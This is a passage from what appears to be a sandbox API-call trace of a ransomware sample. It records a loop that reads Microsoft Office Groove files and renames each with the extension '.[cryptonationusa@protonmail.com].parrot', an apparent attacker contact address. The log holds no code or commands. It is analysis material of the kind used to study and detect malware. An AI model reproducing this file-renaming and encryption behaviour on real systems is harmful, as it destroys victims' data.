office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0191.159] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdf64480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdf64480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.159] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd81a120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBEC~1.PAR")) returned 1 [0191.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.160] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.162] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x8f6, lpOverlapped=0x0) returned 1 [0191.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.166] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.167] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.168] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.168] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ee3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2ee3, lpOverlapped=0x0) returned 1 [0191.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.173] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.174] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.175] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x638, lpOverlapped=0x0) returned 1 [0191.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.180] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.180] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.181] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.181] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1313, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1313, lpOverlapped=0x0) returned 1 [0191.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.189] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.189] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.191] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa89, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xa89, lpOverlapped=0x0) returned 1 [0191.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.196] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.196] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.236] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bfb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1bfb, lpOverlapped=0x0) returned 1 [0191.237] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.244] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.244] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.245] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23ed, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x23ed, lpOverlapped=0x0) returned 1 [0191.246] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.252] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.252] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.253] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.253] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x267, lpOverlapped=0x0) returned 1 [0191.253] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.258] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.258] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.260] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.260] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30074, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x30074, lpOverlapped=0x0) returned 1 [0191.266] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.285] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.287] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.287] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1018, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1018, lpOverlapped=0x0) returned 1 [0191.288] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.295] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.295] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.297] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.297] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x350, lpOverlapped=0x0) returned 1 [0191.297] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.303] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.304] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x34f, lpOverlapped=0x0) returned 1 [0191.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.309] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.309] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.310] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.310] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x366, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x366, lpOverlapped=0x0) returned 1 [0191.310] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.319] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.319] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.320] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.320] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x365, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x365, lpOverlapped=0x0) returned 1 [0191.321] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.325] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.325] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.326] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.326] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x34f, lpOverlapped=0x0) returned 1 [0191.327] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.331] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.331] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.333] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.333] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3ee, lpOverlapped=0x0) returned 1 [0191.333] SetFilePointerEx 